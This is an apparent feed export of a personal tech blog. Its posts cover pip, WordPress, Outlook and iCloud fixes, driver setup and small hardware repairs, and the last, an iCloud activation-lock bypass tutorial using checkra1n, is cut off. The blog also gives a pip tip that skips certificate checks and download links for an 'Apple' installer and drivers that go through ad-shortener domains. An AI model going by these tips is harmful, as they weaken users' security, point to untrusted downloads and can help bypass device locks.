tag:blogger.com,1999:blog-82062926033021048412024-03-13T16:36:17.447+02:00LibTiff's BlogMy online blog as a software developer and IT , mainly focused on software development , hardware , mods and exploits.LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.comBlogger35125tag:blogger.com,1999:blog-8206292603302104841.post-30239287129914328472021-10-07T10:58:00.003+03:002021-10-07T10:58:57.187+03:00[Python] Bypass SSL issues with pip<p> Install packages over SSL:</p><p>pip install selenium --trusted-host pypi.org --trusted-host files.pythonhosted.org</p><p><br /></p><p>--Change package name with the on of your choice.</p>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-42421613432932310522021-08-09T09:38:00.005+03:002021-08-09T09:38:52.223+03:00Include Bootstrap into Wordpress Child Theme<p> Create a bootstrap folder and copy paste all the files in your child theme directory<br /><br /></p><blockquote>/wp-content/themes/theme-child/bootstrap</blockquote><p>Edit functions.php and include the following inside function theme_child_enqueue_styles()<br /><br /></p><p><br /></p><p></p><div><p></p><blockquote><p>wp_enqueue_style('bootstrap', get_stylesheet_directory_uri() . '/bootstrap/css/bootstrap.min.css');</p><p><span style="white-space: pre;"> </span></p><p>wp_enqueue_script('bootstrap',get_stylesheet_directory_uri() . '/bootstrap/js/bootstrap.min.js');</p></blockquote><p><br />That's it. Inspect page for errors. </p><p></p></div>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-29181382730582670462021-04-07T22:17:00.001+03:002021-04-07T22:17:37.308+03:00[Fix] I-CLOUD for windows did not install properly<p> If you are experiencing the "ICLOUD for windows did not installed properly" issue when trying to sync contacts with outlook do the following:<br /><br />Download from apple the standalone version (NOT FROM WINDOWS STORE):<br />(iCloudSetup.exe Version 7.21.0.23)</p><p>http://svencrai.com/9TK3<br /><br /><br />Go to Windows Apps & Features and change it to "ANYWHERE"</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj21FV3Apeq8NS8-mpxPJCBlkW-fRZ0B26sis2p6WKuUGlXfdExHC0lVel9uW1BkNy-fZYXIGRYrTyKP_TbzW3N3sF1xCr4wU_-7bqFTzKU40MNr9Rz1xjx2ruKEGF7lVmAf2TtQG4O_j4/" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="168" data-original-width="381" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj21FV3Apeq8NS8-mpxPJCBlkW-fRZ0B26sis2p6WKuUGlXfdExHC0lVel9uW1BkNy-fZYXIGRYrTyKP_TbzW3N3sF1xCr4wU_-7bqFTzKU40MNr9Rz1xjx2ruKEGF7lVmAf2TtQG4O_j4/" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Proceed with the installation from the icloud we've downloaded earlier.<br /><br /><br />Sync contacts. Enjoy.<br /><br />If you are experiencing issues, uninstall all apple software from your pc.<br />Remove all profiles from outlook and leave one profile with .pst data file.<br /><br />Follow the same steps as above.<br /><br />When it successfully syncs, you can start adding back your profiles to outlook.<br /><br /></div><br /><br /><br /><p></p>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-1028639651812217222020-10-09T11:09:00.000+03:002020-10-09T11:09:05.392+03:00iMAC 12.1 Windows 10 Fully Working Drivers<p> A short tutorial on how to get your iMAC 12.1 fully compatible and working with Windows 10.<br /><b>Everything works (Speakers , Wifi , Graphics , Usb , Bluetooth etc)</b><br /><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd5OLiHPEPhZ4y7bLZFhtusqFnOQRmfFwg_PuKgzpCNUrv1mugrGLrSiDSRgPDPrI4RsezZn-hQWGLlFwT547Ka0sSyJeqBtI7IUn5_U-hGrsX9F79zUWxsVD5tcyxyG_6fyal89kzQMQ/" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="1536" data-original-width="2048" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd5OLiHPEPhZ4y7bLZFhtusqFnOQRmfFwg_PuKgzpCNUrv1mugrGLrSiDSRgPDPrI4RsezZn-hQWGLlFwT547Ka0sSyJeqBtI7IUn5_U-hGrsX9F79zUWxsVD5tcyxyG_6fyal89kzQMQ/" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;">Step1: Get your Windows 7 Installation Disc/Usb boot from it and proceed with installing Windows 7 Pro X64<br />Step 2: Install BOOTCAMP and let it detect and install all the drivers.<br />Step3: Activate Windows 7 in case you havent<br />Step4: Download Windows 10 Update Assistant and install. (Dont select clean installation , keep files and just upgrade OS)<br />Step 5: Download DriverBooster and let it update the drivers (dont update anything related to Graphics Card)<br /><br /><br />Enjoy your new Windows Machine.<br /><br /></div><br /><br /><p></p>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-7136958498713049812020-05-29T09:31:00.000+03:002020-05-29T09:31:01.087+03:00[FIX] OUTLOOK SEARCH BAR ON TOP<br />Latest update brought the search bar on top , below you will find how to reset it.<br /><br /><img alt="How to reset the search bar location in Outlook - Super User" src="https://i.stack.imgur.com/fJ59F.png" /><br /><br /><br /><b>Method #1:</b><br />
<b><br /></b>
<img alt="Get a peek at the upcoming enhancements for Outlook" src="https://www.amaxra.com/images/content/blog/outlook-comingsoon.png" /><b><br /></b>Locate the Coming Soon toggle on top right corner , turn it off , and restart outlook.<br /><br /><b>Method #2:</b><br />
<div style="border: 0px; box-sizing: inherit; clear: both; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">
<span style="color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;"><span style="background-color: white; font-size: 15px;">You can create a new profile</span></span> <span style="color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;"><span style="background-color: white; font-size: 15px;">in case some personal settings are corrupted.</span></span></div>
<div style="background-color: white; border: 0px; box-sizing: inherit; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">
If not, some registered settings may be broken during shutdown, reset Outlook related settings in Registry:</div>
<div style="background-color: white; border: 0px; box-sizing: inherit; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">
Find this path: HKEY_CURRENT_USER\Software\Microsoft\Office\x.0\Outlook</div>
<div style="background-color: white; border: 0px; box-sizing: inherit; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">
Rename it to Outlook-1</div>
<div style="background-color: white; border: 0px; box-sizing: inherit; clear: both; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">
<span style="color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;"><span style="font-size: 15px;">Restart Outlook.</span></span><br /><br /><b style="color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px;">Method #3:</b><br /><span style="color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;"><span style="font-size: 15px;">Revert back to previous outlook versions , check the below link to see the instructions</span></span><br /><span style="color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;"><span style="font-size: 15px;">http://raboninco.com/lvub</span></span><br /></div>
<br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-5292772572583956362020-05-05T15:30:00.002+03:002020-05-05T15:30:19.687+03:00SEAT IBIZA FR 6J - SWITCH PANEL (TPMS FIX)<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="margin-left: 1em; margin-right: 1em;">
If you've tried changing your switch panel with a previous model version you'll noticed that the tyre pressure (TPMS) reset button doesn't work.<br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<img alt="Seat Ibiza Mk4 (6J) Stereo Upgrade Kits, Parking Cameras, Speaker ..." height="160" src="https://incartec.blob.core.windows.net/media/Seat-Ibiza-radios.jpg" width="320" /><br /><br />This is because the pin-outs are different.<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMytuCJejV6Z9UInyOGVcLwh_K3Mf4xgmL5jlvmHJHi_zrBiysE_ZGijzULt1h3Uv43qlikS0BuhRVY6zw6Nfm7OFO2qQXP2OINmhUweS6Q2Hk-FuDAMHRI_x05fW508U0flbERb2aHxQ/s1600/95615089_324819981828983_1207445285500878848_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMytuCJejV6Z9UInyOGVcLwh_K3Mf4xgmL5jlvmHJHi_zrBiysE_ZGijzULt1h3Uv43qlikS0BuhRVY6zw6Nfm7OFO2qQXP2OINmhUweS6Q2Hk-FuDAMHRI_x05fW508U0flbERb2aHxQ/s320/95615089_324819981828983_1207445285500878848_n.jpg" width="320" /></a></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /><br />Below you'll see the whole procedure , from the sketched diagram until the final preview.<br /><br /><br /><b>The Sketch:</b></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqNj9lexMgZSSGDNAUrRrqA1BKuaKG2QO6l8KhRyJZ07OAI2uJVS2APMuqQ6xON_Wq2fSGVWNqrKUBMktQHsOgJIoiDHHktLP6Tp8JAcSwM5TXP6PVswxbyBCv7C8FJVShSQZfELSLVlA/s1600/95676356_254062672631220_5095988334610612224_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="252" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqNj9lexMgZSSGDNAUrRrqA1BKuaKG2QO6l8KhRyJZ07OAI2uJVS2APMuqQ6xON_Wq2fSGVWNqrKUBMktQHsOgJIoiDHHktLP6Tp8JAcSwM5TXP6PVswxbyBCv7C8FJVShSQZfELSLVlA/s320/95676356_254062672631220_5095988334610612224_n.jpg" width="168" /></a><br /><br /><b>Prototyping:</b></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivntL8D6gngRN6cqCRWFi0tJHYVOmh0X7oeoy_xjnAeSvqNxqbqPY3Adz4pP6cWXpWznGKgTGZIJ10vZXtE1nxtpe5O392VhgvVLq_0PxQvO0HlF-zmY30tZcuYS4OLAy-hry9gxKJOgw/s1600/printed.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivntL8D6gngRN6cqCRWFi0tJHYVOmh0X7oeoy_xjnAeSvqNxqbqPY3Adz4pP6cWXpWznGKgTGZIJ10vZXtE1nxtpe5O392VhgvVLq_0PxQvO0HlF-zmY30tZcuYS4OLAy-hry9gxKJOgw/s320/printed.jpg" width="320" /></a><br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Final Product:</b></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-F5tbqfl83Zv1GJiluNKkE8erQ3EpzTC_Up-4wY36qTfSwaY1e1viZpzYOZhDzea82tK6i7fKNiAax5xJMERonRwKUojFgqRr68vVauMy6eyT_Ytf2DY5rbBXFub8GWPtZpr7fCWkDUY/s1600/final.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-F5tbqfl83Zv1GJiluNKkE8erQ3EpzTC_Up-4wY36qTfSwaY1e1viZpzYOZhDzea82tK6i7fKNiAax5xJMERonRwKUojFgqRr68vVauMy6eyT_Ytf2DY5rbBXFub8GWPtZpr7fCWkDUY/s320/final.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="margin-left: 1em; margin-right: 1em;">
<br /><br /><br /><br /><br /><br /></div>
<br />
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-66375736647622071532020-04-11T14:08:00.002+03:002020-04-11T14:09:09.783+03:00Visual Code Studio - Running Scripts Error<br />
If you get the following error while trying to execute a script on Visual Code Studio<br />
<br />
cannot be loaded because running scripts is disabled on this system. For<br />
more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.<br />
At line:1 char:1<br />
+ parcel index.html<br />
+ ~~~~~~<br />
+ CategoryInfo : SecurityError: (:) [], PSSecurityException<br />
+ FullyQualifiedErrorId : UnauthorizedAccess<br />
<br />
<br />
<b>SOLUTION:</b><br />
<br />
Open PowerShell as Administrator<br />
<br />
Paste and run the following:<br />
<pre class="command" style="background-color: white; border: 1px solid rgb(234, 234, 234); color: #666666; font-family: "courier 10 pitch", Courier, monospace; font-size: 14px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: 19px; margin-bottom: 20px; outline: 0px; overflow: auto; padding: 20px; vertical-align: baseline; white-space: pre-wrap;">set-executionpolicy remotesigned</pre>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com1tag:blogger.com,1999:blog-8206292603302104841.post-42759630150842524542020-02-05T16:10:00.001+02:002020-02-07T10:05:35.497+02:00Remignton Hair Straightener (No Power Fix)<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;">Got a faulty hair straightener that "seems" to lose power here and there? Time for a fix.</span></div>
<br style="text-align: start;" />
<span style="text-align: start;">As always the process is simple , cut the cable , re-run the power wires , desolder the old ones and solder back the new , and at the end tight em up together.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;">Here we cut the faulty cable , and took out the spiral plastic to re-use it with our new cable.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFrnMrwNS0OoKzk4j-EgwUOOrKhK2dOwiZ_6WR1hrjKS2tmfEWouvBry3zF7uSfcl1AKXwrN0FQImrqduyMeUeoOKp4cW4t48xWKcM0TdbfX7SRb33djt82nSVbzs7IPjV7zY0nPeN9rk/s1600/83907834_727496440989899_4230564897051639808_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="503" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFrnMrwNS0OoKzk4j-EgwUOOrKhK2dOwiZ_6WR1hrjKS2tmfEWouvBry3zF7uSfcl1AKXwrN0FQImrqduyMeUeoOKp4cW4t48xWKcM0TdbfX7SRb33djt82nSVbzs7IPjV7zY0nPeN9rk/s320/83907834_727496440989899_4230564897051639808_n.jpg" width="167" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
De-solder the old wires and solder back the new cables.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_asbdzcE0Yc-x_P6iWb-WyGNRAsCQolvQzevTrcHD-RKRQp1l7kpfWD9Dg5BNt0IuTCKHXCTJHNY81poA023HqbPf-C2i7y3qaIlEPXxBZ9DoMNOIRlPXFWfq16amOERO7VtLdD527U/s1600/84417172_694091514459690_2194255116003966976_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_asbdzcE0Yc-x_P6iWb-WyGNRAsCQolvQzevTrcHD-RKRQp1l7kpfWD9Dg5BNt0IuTCKHXCTJHNY81poA023HqbPf-C2i7y3qaIlEPXxBZ9DoMNOIRlPXFWfq16amOERO7VtLdD527U/s320/84417172_694091514459690_2194255116003966976_n.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
End product.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidMpylGfC1slQIAlChyphenhyphenjoTZKICefgHvhN32WBYTXihroU2Wdm7jLZR1mrfUeqeW8g6A05VXUBvcyiNdWPfHYJ4HCZTVLNc_wdFN34YkL0M2M6imR6BOpjEmQ9W11KPCgSBpv9GY0LazaQ/s1600/endproduct.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidMpylGfC1slQIAlChyphenhyphenjoTZKICefgHvhN32WBYTXihroU2Wdm7jLZR1mrfUeqeW8g6A05VXUBvcyiNdWPfHYJ4HCZTVLNc_wdFN34YkL0M2M6imR6BOpjEmQ9W11KPCgSBpv9GY0LazaQ/s320/endproduct.jpg" width="240" /></a></div>
<br />
<br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com1tag:blogger.com,1999:blog-8206292603302104841.post-12726045584223995902020-02-05T15:55:00.003+02:002020-02-05T15:55:35.415+02:00Laptop Paint-Job<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;">Our old laptop needed a complete paint-job on the keyboard surrounding placstics.</span><br style="text-align: start;" /><br style="text-align: start;" /><span style="text-align: start;">All that was needed were Primer and a good plastic paint.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: start;">Dissasembly.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgwkKWWFDD5qSpdHDFua5seU6rNbV7__W1J2uUn0Gfgp8S0OzVxIxcxJH2D3C9qfkTKhYqCK9f8QsCMQ0herBQTZ9BxQ2unqqW5_V8ldurO3GnTNhdiOOQFOoJAu_6_Na9HluwbaiQVH0/s1600/paintjob1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgwkKWWFDD5qSpdHDFua5seU6rNbV7__W1J2uUn0Gfgp8S0OzVxIxcxJH2D3C9qfkTKhYqCK9f8QsCMQ0herBQTZ9BxQ2unqqW5_V8ldurO3GnTNhdiOOQFOoJAu_6_Na9HluwbaiQVH0/s320/paintjob1.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Covering the parts that we didnt want to paint.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR28X8MfilOPh560bBeTFL96sk79FoT-gK_eTOiXdjz5VPhMtee3vnLhY_adNV8AEUrne_JJ_DNJV00qzvwYbq7xyltX3ASQbi_BfawDKGI32z56tO_5CvvVpSpa3hdJUiMQpbRAryq3Q/s1600/paintjob2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR28X8MfilOPh560bBeTFL96sk79FoT-gK_eTOiXdjz5VPhMtee3vnLhY_adNV8AEUrne_JJ_DNJV00qzvwYbq7xyltX3ASQbi_BfawDKGI32z56tO_5CvvVpSpa3hdJUiMQpbRAryq3Q/s320/paintjob2.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Final Result.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9GcfLXBBbHzTasA4JbHSKMuQdjdE_qwBMsgrFfiYVM0A4yDYg8hzFg9YnH443UrnelG2Xgq3ACCHET1QWEcj_O5YBhf0M4vXr58C-ZqFHGf_6ElShbgXBV9C__DQp2Di3CS_As9Id8w/s1600/paintojobfinal.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9GcfLXBBbHzTasA4JbHSKMuQdjdE_qwBMsgrFfiYVM0A4yDYg8hzFg9YnH443UrnelG2Xgq3ACCHET1QWEcj_O5YBhf0M4vXr58C-ZqFHGf_6ElShbgXBV9C__DQp2Di3CS_As9Id8w/s320/paintojobfinal.jpg" width="320" /></a></div>
<br /><br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-25805975090344933542020-02-05T15:52:00.003+02:002020-02-05T15:52:46.707+02:00Einov Camera (No Power)<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div style="text-align: center;">
My outdoor ip camera suddenly stopped working , after some metrics i've came to the conclusion that the power cord was somehow damaged and i had no power over it.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
The fix was simple , de-solder the cable from the mainboard , cut the plastic protector , run new wires and resealed it with electrical tape. </div>
<br />
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDvPkT2-BG52ENL_XPTVonryPHsjtkgr4L5zwqVBojs36_RsUz3Dkli1UWAyKew4KudzLUwMHMvhWXsUFleL4WC8IBWmuxktq-Weo8lKQvcANvB-47vUu3JLk5es7HhO6q0tL2-zOy2C4/s1600/einovcamerafix.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDvPkT2-BG52ENL_XPTVonryPHsjtkgr4L5zwqVBojs36_RsUz3Dkli1UWAyKew4KudzLUwMHMvhWXsUFleL4WC8IBWmuxktq-Weo8lKQvcANvB-47vUu3JLk5es7HhO6q0tL2-zOy2C4/s320/einovcamerafix.jpg" width="240" /></a></div>
<br />
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xjn9C-WauIxttvReTHzvENbVlQThxeeTpQ-il2omaVyhcmAOsZyjJfW_f1SvPBdmxjMqceeB758Wn30rhzTm5_AI3etfVr6CXbGqKEaLgnJRZj3djifGukwr0EmQnovxDszeWZCqD9E/s1600/einovafter.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xjn9C-WauIxttvReTHzvENbVlQThxeeTpQ-il2omaVyhcmAOsZyjJfW_f1SvPBdmxjMqceeB758Wn30rhzTm5_AI3etfVr6CXbGqKEaLgnJRZj3djifGukwr0EmQnovxDszeWZCqD9E/s320/einovafter.jpg" width="240" /></a></div>
<br />
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-39582245977367249232019-12-09T11:15:00.001+02:002019-12-09T11:22:01.595+02:00Revive your Legacy USB VGA 2.0 adapter<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDJRGE7SUH0h2Xnow_JqnBvt2fjGkaMYTeiSmAl1VoleGv9fGUjJF2FrtBDJalPNJk34jfH0h-TsDPkBgY3D4GNPXTO6FOVvC83EQRLKOCqjK2Jcg_ANSxrJW_cdvKJWCBrkSakycCHa8/s1600/Power-Up-USB-2-VGA-GEN-9202.jpg" imageanchor="1"><img border="0" data-original-height="300" data-original-width="300" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDJRGE7SUH0h2Xnow_JqnBvt2fjGkaMYTeiSmAl1VoleGv9fGUjJF2FrtBDJalPNJk34jfH0h-TsDPkBgY3D4GNPXTO6FOVvC83EQRLKOCqjK2Jcg_ANSxrJW_cdvKJWCBrkSakycCHa8/s320/Power-Up-USB-2-VGA-GEN-9202.jpg" width="320" /></a></div>
<div style="text-align: left;">
I've recently dig-out one of these old usb to vga display adapters. Enough with the intro , below you will find the drivers for it:</div>
<div style="text-align: center;">
Download Link:</div>
<div style="text-align: center;">
http://locinealy.com/GOh<br /><br /><br /><br /><b>Youtube Video:<br /><br /></b><br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/tUszlilaakc/0.jpg" src="https://www.youtube.com/embed/tUszlilaakc?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<b><br /></b></div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-76691224045668449662019-11-19T17:42:00.001+02:002019-11-19T21:35:41.589+02:00I-Cloud Lock Bypass - Checkra1n 2019 Tutorial (VM Setup / IMac Setup)A legit tutorial on how to bypass your i-cloud locked apple device.
I've tried it with Virtualbox and came across many errors but couldnt resolve the error -31 of checkra1n application.<br />
So i gave up and run everything on a legit MAC computer , which worked like a charm.<br />
Works for all apple devices between IPHONE 5 and IPHONE X.<br /><br />To get it to run on VM:<br />Setup your vm configuration , install CheckRa1n application.<br /><br /><b>Fix Apple Iphone USB Not Detected:</b><br />You need to setup usb filters for (DFU Mode , Recovery and Normal Mode)<br />Just select the device from list , add it , edit it and remove everything except name , VID and PID.<br /><br />I was stuck at error -31 and stopped using vm and tried it on a real mac.<br /><br />
<br />
Checkra1n Application: <a href="https://checkra.in/">https://checkra.in/</a><br />
<br />
<div style="text-align: center;">
<b> Step 1: Get your mac pc ready.
</b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ROUpS7M-e3BZmn12BmHMVZ7ismYbwOsnwi3yIqArZxJ4UWLWxxoTgZu5C42A_fWfYZRSXB-Q-yPvg90t4E-Gqw4RQp6VH2GFNPqLH0Qbs7JMSoybfeBFKW81km-g897jLvqnmgmCfjc/s1600/macpc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;"> <img border="0" data-original-height="720" data-original-width="405" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ROUpS7M-e3BZmn12BmHMVZ7ismYbwOsnwi3yIqArZxJ4UWLWxxoTgZu5C42A_fWfYZRSXB-Q-yPvg90t4E-Gqw4RQp6VH2GFNPqLH0Qbs7JMSoybfeBFKW81km-g897jLvqnmgmCfjc/s320/macpc.jpg" width="180" /></a></div>
<div style="text-align: justify;">
<br /></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div style="text-align: center;">
<b>Step 2: Install CheckRa1n</b></div>
<br />
<br />
<div style="text-align: center;">
